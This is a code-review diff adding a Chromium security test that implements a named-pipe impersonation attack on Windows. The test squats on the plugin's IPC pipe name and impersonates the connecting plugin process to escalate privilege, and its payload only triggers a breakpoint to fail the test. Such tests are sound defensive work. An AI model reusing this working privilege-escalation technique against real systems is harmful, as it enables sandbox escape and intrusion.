| OLD | NEW |
| (Empty) |
| 1 // Copyright (c) 2006-2008 The Chromium Authors. All rights reserved. | |
| 2 // Use of this source code is governed by a BSD-style license that can be | |
| 3 // found in the LICENSE file. | |
| 4 | |
| 5 #include <windows.h> | |
| 6 #include <string> | |
| 7 #include <sstream> | |
| 8 | |
| 9 #include "chrome/test/security_tests/ipc_security_tests.h" | |
| 10 | |
| 11 namespace { | |
| 12 | |
| 13 // Debug output messages prefix. | |
| 14 const char kODSMgPrefix[] = "[security] "; | |
| 15 // Format of the Chrome browser pipe for plugins. | |
| 16 const wchar_t kChromePluginPipeFmt[] = L"\\\\.\\pipe\\chrome.%ls.p%d"; | |
| 17 // Size for the in/out pipe buffers. | |
| 18 const int kBufferSize = 1024; | |
| 19 | |
| 20 // Define the next symbol if you want to have tracing of errors. | |
| 21 #ifdef PIPE_SECURITY_DBG | |
| 22 // Generic debug output function. | |
| 23 void ODSMessageGLE(const char* txt) { | |
| 24 DWORD gle = ::GetLastError(); | |
| 25 std::ostringstream oss; | |
| 26 oss << kODSMgPrefix << txt << " 0x" << std::hex << gle; | |
| 27 ::OutputDebugStringA(oss.str().c_str()); | |
| 28 } | |
| 29 #else | |
| 30 void ODSMessageGLE(const char* txt) { | |
| 31 } | |
| 32 #endif | |
| 33 | |
| 34 // Retrieves the renderer pipe name from the command line. Returns true if the | |
| 35 // name was found. | |
| 36 bool PipeNameFromCommandLine(std::wstring* pipe_name) { | |
| 37 std::wstring cl(::GetCommandLineW()); | |
| 38 const wchar_t key_name[] = L"--channel"; | |
| 39 std::wstring::size_type pos = cl.find(key_name, 0); | |
| 40 if (std::wstring::npos == pos) { | |
| 41 return false; | |
| 42 } | |
| 43 pos = cl.find(L"=", pos); | |
| 44 if (std::wstring::npos == pos) { | |
| 45 return false; | |
| 46 } | |
| 47 ++pos; | |
| 48 size_t dst = cl.length() - pos; | |
| 49 if (dst <4) { | |
| 50 return false; | |
| 51 } | |
| 52 for (; dst != 0; --dst) { | |
| 53 if (!isspace(cl[pos])) { | |
| 54 break; | |
| 55 } | |
| 56 ++pos; | |
| 57 } | |
| 58 if (0 == dst) { | |
| 59 return false; | |
| 60 } | |
| 61 std::wstring::size_type pos2 = pos; | |
| 62 for (; dst != 0; --dst) { | |
| 63 if (isspace(cl[pos2])) { | |
| 64 break; | |
| 65 } | |
| 66 ++pos2; | |
| 67 } | |
| 68 *pipe_name = cl.substr(pos, pos2); | |
| 69 return true; | |
| 70 } | |
| 71 | |
| 72 // Extracts the browser process id and the channel id given the renderer | |
| 73 // pipe name. | |
| 74 bool InfoFromPipeName(const std::wstring& pipe_name, std::wstring* parent_id, | |
| 75 std::wstring* channel_id) { | |
| 76 std::wstring::size_type pos = pipe_name.find(L".", 0); | |
| 77 if (std::wstring::npos == pos) { | |
| 78 return false; | |
| 79 } | |
| 80 *parent_id = pipe_name.substr(0, pos); | |
| 81 *channel_id = pipe_name.substr(pos + 1); | |
| 82 return true; | |
| 83 } | |
| 84 | |
| 85 // Creates a server pipe, in byte mode. | |
| 86 HANDLE MakeServerPipeBase(const wchar_t* pipe_name) { | |
| 87 HANDLE pipe = ::CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX, | |
| 88 PIPE_TYPE_BYTE | PIPE_READMODE_BYTE, 3, | |
| 89 kBufferSize, kBufferSize, 5000, NULL); | |
| 90 if (INVALID_HANDLE_VALUE == pipe) { | |
| 91 ODSMessageGLE("pipe creation failed"); | |
| 92 } | |
| 93 return pipe; | |
| 94 } | |
| 95 | |
| 96 // Creates a chrome plugin server pipe. | |
| 97 HANDLE MakeServerPluginPipe(const std::wstring& prefix, int channel) { | |
| 98 wchar_t pipe_name[MAX_PATH]; | |
| 99 swprintf_s(pipe_name, kChromePluginPipeFmt, prefix.c_str(), channel); | |
| 100 return MakeServerPipeBase(pipe_name); | |
| 101 } | |
| 102 | |
| 103 struct Context { | |
| 104 HANDLE pipe; | |
| 105 explicit Context(HANDLE arg_pipe) : pipe(arg_pipe) { | |
| 106 } | |
| 107 }; | |
| 108 | |
| 109 // This function is called from a thread that has a security context that is | |
| 110 // higher than the renderer security context. This can be the plugin security | |
| 111 // context or the browser security context. | |
| 112 void DoEvilThings(Context* context) { | |
| 113 // To make the test fail we simply trigger a breakpoint in the renderer. | |
| 114 ::DisconnectNamedPipe(context->pipe); | |
| 115 __debugbreak(); | |
| 116 } | |
| 117 | |
| 118 // This is a pipe server thread routine. | |
| 119 DWORD WINAPI PipeServerProc(void* thread_param) { | |
| 120 if (NULL == thread_param) { | |
| 121 return 0; | |
| 122 } | |
| 123 Context* context = static_cast<Context*>(thread_param); | |
| 124 HANDLE server_pipe = context->pipe; | |
| 125 | |
| 126 char buffer[4]; | |
| 127 DWORD bytes_read = 0; | |
| 128 | |
| 129 for (;;) { | |
| 130 // The next call blocks until a connection is made. | |
| 131 if (!::ConnectNamedPipe(server_pipe, NULL)) { | |
| 132 if (GetLastError() != ERROR_PIPE_CONNECTED) { | |
| 133 ODSMessageGLE("== connect named pipe failed =="); | |
| 134 continue; | |
| 135 } | |
| 136 } | |
| 137 // return value of ReadFile is unimportant. | |
| 138 ::ReadFile(server_pipe, buffer, 1, &bytes_read, NULL); | |
| 139 if (::ImpersonateNamedPipeClient(server_pipe)) { | |
| 140 ODSMessageGLE("impersonation obtained"); | |
| 141 DoEvilThings(context); | |
| 142 break; | |
| 143 } else { | |
| 144 ODSMessageGLE("impersonation failed"); | |
| 145 } | |
| 146 ::DisconnectNamedPipe(server_pipe); | |
| 147 } | |
| 148 delete context; | |
| 149 return 0; | |
| 150 } | |
| 151 } // namespace | |
| 152 | |
| 153 // Implements a pipe impersonation attack resulting on a privilege elevation on | |
| 154 // the chrome pipe-based IPC. | |
| 155 // When a web-page that has a plug-in is loaded, chrome will do the following | |
| 156 // steps: | |
| 157 // 1) Creates a server pipe with name 'chrome.<pid>.p<n>'. Initially n = 1. | |
| 158 // 2) Launches chrome with command line --type=plugin --channel=<pid>.p<n> | |
| 159 // 3) The new (plugin) process connects to the pipe and sends a 'hello' | |
| 160 // message. | |
| 161 // The attack creates another server pipe with the same name before step one | |
| 162 // so when the plugin connects it connects to the renderer instead. Once the | |
| 163 // connection is acepted and at least a byte is read from the pipe, the | |
| 164 // renderer can impersonate the plugin process which has a more relaxed | |
| 165 // security context (privilege elevation). | |
| 166 // | |
| 167 // Note that the attack can also be peformed after step 1. In this case we need | |
| 168 // another thread which used to connect to the existing server pipe so the | |
| 169 // plugin does not connect to chrome but to our pipe. | |
| 170 bool PipeImpersonationAttack() { | |
| 171 std::wstring pipe_name; | |
| 172 if (!PipeNameFromCommandLine(&pipe_name)) { | |
| 173 return false; | |
| 174 } | |
| 175 std::wstring parent_id; | |
| 176 std::wstring channel_id; | |
| 177 if (!InfoFromPipeName(pipe_name, &parent_id, &channel_id)) { | |
| 178 return false; | |
| 179 } | |
| 180 HANDLE plugin_pipe = MakeServerPluginPipe(parent_id, 1); | |
| 181 if (INVALID_HANDLE_VALUE == plugin_pipe) { | |
| 182 return true; | |
| 183 } | |
| 184 | |
| 185 HANDLE thread = ::CreateThread(NULL, 0, PipeServerProc, | |
| 186 new Context(plugin_pipe), 0, NULL); | |
| 187 if (NULL == thread) { | |
| 188 return false; | |
| 189 } | |
| 190 ::CloseHandle(thread); | |
| 191 return true; | |
| 192 } | |
| OLD | NEW |